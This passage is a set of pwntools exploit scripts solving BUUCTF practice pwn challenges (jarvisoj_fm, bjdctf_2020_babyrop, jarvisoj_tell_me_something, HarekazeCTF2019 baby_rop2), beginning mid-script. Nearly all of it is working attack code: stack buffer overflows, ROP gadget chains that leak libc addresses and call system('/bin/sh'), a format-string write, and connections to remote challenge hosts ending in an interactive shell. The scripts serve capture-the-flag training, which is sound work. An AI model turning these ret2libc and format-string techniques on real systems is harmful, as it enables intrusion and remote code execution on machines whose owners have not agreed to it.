context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 27137)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
padding = 0x18
shell = 0x000000000040072A
sl('-1')
payload = b'a' * 0x18 + p64(shell)
rl('name?')
sl(payload)
inter()
jarvisoj_fm
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='i386', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25877)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
payload = fmtstr_payload(11,{0x0804A02C:0x4})
sl(payload)
inter()
bjdctf_2020_babyrop
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./babyrop')
p = remote('node5.buuoj.cn', 25910)
elf = ELF('./babyrop')
#libc = ELF('./libc')
'''
============================================================
0x000000000040072c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400730 : pop r14 ; pop r15 ; ret
0x0000000000400732 : pop r15 ; ret
0x000000000040072b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400590 : pop rbp ; ret
0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret
0x000000000040072d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004c9 : ret
'''
padding = 0x28
pop_rdi = 0x0000000000400733
ret = 0x00000000004004c9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload = b'a' * padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
sl(payload)
puts_addr = l64()
lg('puts_addr',puts_addr)
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
lg('libc_base',libc_base)
lg('system',system)
lg('binsh',binsh)
rl('story!')
payload = b'a' * padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
sl(payload)
inter()
jarvisoj_tell_me_something
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
#from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 25064)
#elf = ELF('./ciscn')
#libc = ELF('./libc')
padding = 0x88
shell = 0x0000000000400620
payload = b'a' * padding + p64(shell)
sl(payload)
inter()
#https://blog.csdn.net/m0_46363249/article/details/115270147
[HarekazeCTF2019]baby_rop2
from pwn import *
#from struct import pack
#from ctypes import *
#import base64
#from subprocess import run
from LibcSearcher import *
def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('node5.buuoj.cn', 27104)
elf = ELF('./babyrop2')
#libc = ELF('./libc')
'''
============================================================
0x000000000040072c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400730 : pop r14 ; pop r15 ; ret
0x0000000000400732 : pop r15 ; ret
0x000000000040072b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040072f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop rbp ; ret
0x0000000000400733 : pop rdi ; ret
0x0000000000400731 : pop rsi ; pop r15 ; ret
0x000000000040072d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004004d1 : ret
0x0000000000400532 : ret 0x200a
'''
padding = 0x28
pop_rdi = 0x0000000000400733
ret = 0x00000000004004d1
read_got = elf.got['read']
printf_sym = elf.sym['printf']
main = elf.sym['main']
rl('name?')
payload = b'a' * padding + p64(ret) + p64(pop_rdi) + p64(read_got) + p64(printf_sym) + p64(ret) + p64(main)
sl(payload)
read_addr = l64()
lg('read_addr', read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
lg('libc_base',libc_base)
lg('system',system)
lg('binsh',binsh)
rl('name?')
payload = b'a' * padding + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
sl(payload)
inter()